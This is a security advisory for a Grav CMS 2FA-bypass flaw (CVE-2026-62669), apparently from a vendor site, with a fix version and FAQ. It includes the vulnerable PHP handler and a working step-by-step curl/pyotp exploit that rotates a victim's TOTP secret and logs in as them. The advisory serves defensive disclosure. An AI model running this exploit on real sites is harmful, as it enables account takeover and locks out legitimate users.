CVE-2026-62669

Grav: 2FA Bypass via 'login.regenerate2FASecret' - Secret Rotation During Pending Challenge

public function taskRegenerate2FASecret()
{
    $user = $this->grav['user'];
    if ($user->exists()) {                  // ← only checks exists(), NOT authorized()
        $secret = $twoFa->createSecret();
        $user->twofa_secret = $secret;      // overwrites victim's secret on disk
        $user->save();
        $json_response = [
            'status' => 'success',
            'image' => $image,
            'secret' => trim(preg_replace('|(\w{4})|', '\\1 ', $secret)) // ← returned to attacker
        ];
    }
}

# Step 1: Password-only login (lands in 2FA-pending; keep session cookie)
LOGIN_PAGE=$(curl -s -c /tmp/2fa.jar "http://127.0.0.1/grav/login")
NONCE=$(echo "$LOGIN_PAGE" | grep -oP 'name="login-form-nonce" value="\K[^"]+')
curl -s -b /tmp/2fa.jar -c /tmp/2fa.jar -X POST \
  "http://127.0.0.1/grav/login" \
  -d "username=user&password=Summer2024!&task=login.login&login-form-nonce=${NONCE}"

# Step 2: Regenerate the 2FA secret (NO nonce required)
curl -s -b /tmp/2fa.jar \
  "http://127.0.0.1/grav/login/task:login.regenerate2FASecret"
# {"status":"success","secret":"FS5P SYNP 24YH X3AM 3DP3 PADG RIPV B4K5",...}

# Step 3: Compute TOTP from the attacker-chosen secret
python3 -c "import pyotp; print(pyotp.TOTP('FS5PSYNP24YHX3AM3DP3PADGRIPVB4K5').now())"
# 152656

# Step 4: Complete 2FA with attacker's TOTP code
curl -s -L -b /tmp/2fa.jar -X POST "http://127.0.0.1/grav/login" \
  -d "task=login.twofa&2fa_code=152656"

# Step 5: Verify - fully authenticated as victim
curl -s -b /tmp/2fa.jar "http://127.0.0.1/grav/" | grep -o 'Grav User\|Logout'
# Grav User Logout

Complete 2FA bypass reducing the second factor to password-only. An attacker who knows the victim's password (via credential reuse, phishing, or cracking) can bypass TOTP-based 2FA by forcing a secret rotation during the pending-challenge window, computing a valid TOTP from the attacker-chosen secret, and completing the 2FA flow. The victim's legitimate TOTP secret is permanently overwritten on disk via $user->save(), locking them out of their own account.

The endpoint requires no CSRF token, making it exploitable via a single GET request. A logged-in victim visiting http://target/login/task:login.regenerate2FASecret on any attacker-controlled page would have their 2FA secret silently rotated.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2026-62669 has a CVSS score of 7.4 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.4); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. What is CVE-2026-62669? CVE-2026-62669 is a high-severity improper authentication vulnerability in getgrav/grav (composer), affecting versions < 2.0.4. It is fixed in 2.0.4. The application does not adequately verify the identity of a user, device, or process before granting access.
2. How severe is CVE-2026-62669? CVE-2026-62669 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of getgrav/grav are affected by CVE-2026-62669? getgrav/grav (composer) versions < 2.0.4 is affected.
4. Is there a fix for CVE-2026-62669? Yes. CVE-2026-62669 is fixed in 2.0.4. Upgrade to this version or later.
5. Is CVE-2026-62669 exploitable, and should I be worried? Whether CVE-2026-62669 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-62669 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-62669? Upgrade getgrav/grav to 2.0.4 or later.